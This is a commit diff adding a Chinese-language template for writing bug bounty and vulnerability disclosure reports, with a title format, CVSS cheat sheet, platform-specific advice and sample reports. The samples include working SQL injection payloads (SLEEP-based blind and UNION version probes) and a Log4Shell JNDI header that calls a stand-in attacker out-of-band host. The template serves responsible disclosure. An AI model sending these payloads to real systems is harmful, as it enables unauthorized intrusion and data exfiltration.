reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,346 @@
|
||||
# SRC 报告提交模板
|
||||
|
||||
> 适用:HackerOne、Bugcrowd、补天、漏洞盒子、CNVD、私域 SRC
|
||||
> 三段式:标题 / 重现 / 影响——审核员 30 秒内能判分
|
||||
|
||||
---
|
||||
|
||||
## 0. 提交前自检 10 项
|
||||
|
||||
按下 Submit 之前逐项打勾:
|
||||
|
||||
- [ ] 标题符合 `[等级][条件][类型] 端点 - 一句话` 格式
|
||||
- [ ] 资产在 program scope(看 policy 页)
|
||||
- [ ] 复现步骤逐条编号,含完整 HTTP 请求/响应
|
||||
- [ ] 至少 1 张响应截图 + 1 张 URL 可见的截图
|
||||
- [ ] 副作用证据(外带 / 数据 / 文件 / 命令输出)
|
||||
- [ ] 至少 3 次复现成功(关键漏洞 5 次)
|
||||
- [ ] CVSS 3.1 / 4.0 vector + 影响段
|
||||
- [ ] 修复建议(具体 + 可操作)
|
||||
- [ ] 未对生产数据造成不可逆影响
|
||||
- [ ] 个人 PII / 第三方数据已脱敏
|
||||
|
||||
---
|
||||
|
||||
## 1. 标题模板
|
||||
|
||||
```
|
||||
[严重等级][条件][漏洞类型] 端点 - 一句话描述
|
||||
```
|
||||
|
||||
示例:
|
||||
|
||||
```
|
||||
[Critical][未授权][RCE] /api/v1/import 接受 ${jndi:} - 单包打穿
|
||||
[High][认证后][SQLi] /api/search?q= UNION 注入 - 可读 admin hash
|
||||
[High][越权][IDOR] /api/orders/{id} 横向遍历他人订单
|
||||
[Medium][CSRF] /api/email/change 缺 token + SameSite=None
|
||||
[Critical][默认凭据] Spring Boot Actuator /heapdump - 泄露 DB 密码
|
||||
```
|
||||
|
||||
平台映射:
|
||||
|
||||
| 平台 | 严重度 |
|
||||
|------|------|
|
||||
| HackerOne | None / Low / Medium / High / Critical(CVSS 自动转) |
|
||||
| Bugcrowd | VRT P1 / P2 / P3 / P4 / P5 |
|
||||
| 补天 | 严重 / 高 / 中 / 低 |
|
||||
| CNVD | 超危 / 高危 / 中危 / 低危 |
|
||||
|
||||
---
|
||||
|
||||
## 2. 主体三段式
|
||||
|
||||
### Section 1:漏洞概要(Summary)
|
||||
|
||||
```markdown
|
||||
## 漏洞概要
|
||||
|
||||
**类型**:SQL 注入(认证后,时间盲)
|
||||
**位置**:`POST /api/search` 的 `keyword` 参数
|
||||
**严重程度**:High
|
||||
**CVSS 3.1**:8.1(`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`)
|
||||
**先决条件**:拥有有效注册账号(免费注册)
|
||||
**影响范围**:可拖出 users 表 / 读 admin 密码 hash
|
||||
|
||||
一句话:`POST /api/search` 的 `keyword` 参数未经参数化进入 SQL 查询,
|
||||
攻击者可注入 SELECT 语句读取数据库任意内容。
|
||||
```
|
||||
|
||||
### Section 2:复现步骤(Steps to Reproduce)
|
||||
|
||||
```markdown
|
||||
## 复现步骤
|
||||
|
||||
### 环境
|
||||
- 测试时间:2025-05-09 14:30 UTC
|
||||
- 测试账号:hunter_test01(攻击者控制)
|
||||
- 目标域名:target.com
|
||||
|
||||
### Step 1:登录获取 token
|
||||
|
||||
请求:
|
||||
|
||||
POST /api/login HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"hunter+a@example.com","password":"<已脱敏>"}
|
||||
|
||||
响应:
|
||||
|
||||
{"token":"eyJhbGc...(前 12 字符)"}
|
||||
|
||||
### Step 2:触发时间盲注(基线对比)
|
||||
|
||||
**真条件包**:
|
||||
|
||||
POST /api/search HTTP/1.1
|
||||
Host: target.com
|
||||
Authorization: Bearer eyJhbGc...
|
||||
Content-Type: application/json
|
||||
|
||||
{"keyword":"x' AND (SELECT SLEEP(5))-- -"}
|
||||
|
||||
响应时间:5.21s
|
||||
|
||||
**假条件包**:
|
||||
|
||||
POST /api/search HTTP/1.1
|
||||
{"keyword":"x' AND (SELECT SLEEP(0))-- -"}
|
||||
|
||||
响应时间:0.08s
|
||||
|
||||
### Step 3:5 次复现稳定性
|
||||
|
||||
| 次数 | 真条件 | 假条件 | 差异 |
|
||||
|-----|-------|-------|-----|
|
||||
| 1 | 5.21s | 0.09s | 5.12s |
|
||||
| 2 | 5.18s | 0.07s | 5.11s |
|
||||
| 3 | 5.31s | 0.08s | 5.23s |
|
||||
| 4 | 5.22s | 0.09s | 5.13s |
|
||||
| 5 | 5.19s | 0.08s | 5.11s |
|
||||
|
||||
### Step 4:数据外带(仅做版本探测,未拖库)
|
||||
|
||||
POST /api/search HTTP/1.1
|
||||
{"keyword":"x' UNION SELECT 1,2,version()-- -"}
|
||||
|
||||
响应:[{"id":1,"name":2,"info":"5.7.34-log"}]
|
||||
|
||||
我未尝试拖出表数据 / 读取 admin 密码 hash / outfile 写文件。
|
||||
```
|
||||
|
||||
### Section 3:影响 + 修复(Impact + Remediation)
|
||||
|
||||
```markdown
|
||||
## 影响
|
||||
|
||||
- **数据库版本**:MySQL 5.7.34
|
||||
- **可达范围**:当前数据库(prod_main)的所有表
|
||||
- **可拖数据**:users、orders、payments 表(推断含 PII / 财务)
|
||||
- **可升级**:通过 LOAD_FILE 读取 /etc/passwd(如 FILE 权限)→ 信息泄露
|
||||
- **业务影响**:用户隐私泄露、合规风险(GDPR / CCPA)
|
||||
|
||||
## 修复建议
|
||||
|
||||
### 短期(立即)
|
||||
- 在 `/api/search` 接口对 `keyword` 参数使用参数化查询(PreparedStatement / `?` 占位符)
|
||||
- 临时部署 WAF 规则拦截常见 SQL 关键字
|
||||
|
||||
### 中期(1 周内)
|
||||
- 全站 SQL 拼接代码审计,统一改用 ORM / 参数化
|
||||
- 启用 query 日志监控异常 SQL
|
||||
|
||||
### 长期
|
||||
- 数据库账号最小权限(仅 SELECT 单表)
|
||||
- 引入 SQL 注入静态扫描(CI 集成)
|
||||
|
||||
## 我未做的事
|
||||
|
||||
- 未拖出任何表的真实数据
|
||||
- 未尝试 LOAD_FILE / OUTFILE
|
||||
- 未读取 admin 密码 hash
|
||||
- 未对其他端点做注入测试
|
||||
|
||||
可应贵方安全团队要求做进一步演示。
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. 附件清单
|
||||
|
||||
每份报告建议附 4–6 类材料:
|
||||
|
||||
```
|
||||
attachments/
|
||||
├── 01-poc-screenshot.png # 漏洞总览截图
|
||||
├── 02-burp-flow.png # Burp 流量截图
|
||||
├── 03-recording.mp4 # 30s–2min 录屏(P0/P1 强烈建议)
|
||||
├── 04-poc.py # 复现脚本(如有)
|
||||
├── 05-dns-log.txt # OOB 平台日志(SSRF / RCE 必备)
|
||||
└── 06-cvss-calc.png # CVSS 计算器截图
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. CVSS 速查表(按漏洞类型预填)
|
||||
|
||||
```
|
||||
未授权 RCE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
||||
认证后 RCE AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
|
||||
未授权 SQLi(拖库) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
|
||||
认证 SQLi AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1
|
||||
未授权数据导出 / IDOR AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
|
||||
任意文件读 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
|
||||
任意文件写 → RCE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
||||
未授权 SSRF + 元数据 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
||||
JWT alg=none / 伪造 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
||||
垂直越权(提权 admin) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
|
||||
水平越权(IDOR) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
|
||||
密码重置接管 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
|
||||
价格篡改 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5
|
||||
存储 XSS(管理后台) AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
|
||||
反射 XSS AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1
|
||||
开放重定向 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N = 4.7
|
||||
.git 泄露 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
|
||||
.env 泄露生产凭据 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
||||
默认凭据后台 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
|
||||
HTTP smuggling AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N = 9.0
|
||||
竞态金融超扣 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 不同平台的格式调整
|
||||
|
||||
### HackerOne
|
||||
|
||||
- 标题用英文(除非项目允许中文)
|
||||
- Severity 选 None / Low / Medium / High / Critical
|
||||
- Asset 必须从下拉选择
|
||||
- 复现包用 H1 的 attachment 上传
|
||||
- Triager 看不懂中文 → 关键信息双语
|
||||
|
||||
### Bugcrowd
|
||||
|
||||
- 用 VRT 分类(Server-Side Injection / Authentication / ...)
|
||||
- VRT 分级 P1–P5 对应赏金区间
|
||||
- attachment 支持 + Markdown 友好
|
||||
|
||||
### 补天 / 漏洞盒子
|
||||
|
||||
- 中文 OK
|
||||
- 漏洞类型按平台分类下拉
|
||||
- 通用型 vs 事件型,通用型走 CNVD/CNNVD 编号
|
||||
- 复现 PoC 必须脱敏
|
||||
|
||||
### CNVD
|
||||
|
||||
- 通用型:厂商联系方式、影响范围、可复现 PoC
|
||||
- 事件型:URL、抓包、复现步骤
|
||||
- 所有真实 IP / 域名 / 数据必须脱敏
|
||||
|
||||
---
|
||||
|
||||
## 6. 报告语气
|
||||
|
||||
DO:
|
||||
- 客观、可复现、可量化
|
||||
- 主动说"我没做什么"
|
||||
- 提具体修复建议("在第 N 行加 PreparedStatement")
|
||||
- 留联系方式以便复测
|
||||
|
||||
DON'T:
|
||||
- 威胁 / 索赔 / 公开 / 媒体压力
|
||||
- "你们公司安全做得真烂"
|
||||
- "如果不修我就发推"
|
||||
- 多漏洞硬塞一篇报告(每个独立漏洞独立提交)
|
||||
|
||||
---
|
||||
|
||||
## 7. 跟进流程
|
||||
|
||||
```
|
||||
提交(Day 0)
|
||||
↓
|
||||
Triage(1–7 天):审核员判断"有效 / 需更多信息 / 重复 / 拒收"
|
||||
↓
|
||||
Resolved(1–60 天):开发修复
|
||||
↓
|
||||
赏金(修复后或 triage 后)
|
||||
↓
|
||||
Disclosure(默认 90 天后或厂商同意)
|
||||
```
|
||||
|
||||
被 closed-as-duplicate / 信息不全:
|
||||
|
||||
- 用 Burp 的 raw HTTP 请求重发证明
|
||||
- 提供新的 IP / 时间戳 / 不同测试账号
|
||||
- 不要重复提交(封号风险)
|
||||
|
||||
被 closed-as-N/A / Out of scope:
|
||||
|
||||
- 仔细看 program policy
|
||||
- 必要时礼貌申诉,附 scope 解读
|
||||
- 不要刷分
|
||||
|
||||
---
|
||||
|
||||
## 8. 一份完整骨架(可直接复制改)
|
||||
|
||||
```markdown
|
||||
# [Critical][未授权][RCE] /api/v1/import - 单包 ${jndi:} 打穿
|
||||
|
||||
## 漏洞概要
|
||||
- 类型:JNDI 注入 (Log4Shell 类)
|
||||
- 位置:POST /api/v1/import 的 X-Api-Version Header
|
||||
- 严重程度:Critical
|
||||
- CVSS:9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
||||
- 先决条件:无(公开端点)
|
||||
- 影响:远程代码执行,无需认证
|
||||
|
||||
## 环境
|
||||
- 测试时间:2025-05-09 14:30 UTC
|
||||
- 攻击者 OOB:abc.attacker-oob.cc(研究员控制)
|
||||
|
||||
## 复现步骤
|
||||
|
||||
### Step 1:发送注入 Payload
|
||||
|
||||
POST /api/v1/import HTTP/1.1
|
||||
Host: target.com
|
||||
X-Api-Version: ${jndi:dns://test.abc.attacker-oob.cc/a}
|
||||
|
||||
### Step 2:验证 OOB 触发
|
||||
|
||||
DNS log(attacker-oob.cc 后台):
|
||||
2025-05-09 14:30:42 UTC | source 3.x.x.x | query test.abc.attacker-oob.cc
|
||||
|
||||
source IP 3.x.x.x 经反查为 target.com 的出口 IP。
|
||||
|
||||
### Step 3:5 次复现稳定性
|
||||
全部成功,平均触发延时 < 1s。
|
||||
|
||||
## 影响
|
||||
1. 远程代码执行(基于 Log4Shell 经典 chain)
|
||||
2. 完整服务器控制
|
||||
3. 可读取 /etc/passwd、配置文件、AWS 元数据等
|
||||
|
||||
## 我未做的事
|
||||
- 未实际加载远程类 / 反弹 shell
|
||||
- 仅 DNS 外带证明触发
|
||||
- 未读取任何配置文件
|
||||
|
||||
## 修复建议
|
||||
1. 立即升级 log4j-core 至 2.17.1+
|
||||
2. 设置 -Dlog4j2.formatMsgNoLookups=true
|
||||
3. 部署 WAF 规则拦截 ${jndi: 模式
|
||||
|
||||
## 附件
|
||||
- 01-burp-poc.png(请求 + 响应)
|
||||
- 02-dns-log.png(OOB 日志)
|
||||
- 03-recording.mp4(2 分钟录屏)
|
||||
```
|
||||
|
||||
---
|
||||
Reference in New Issue
Block a user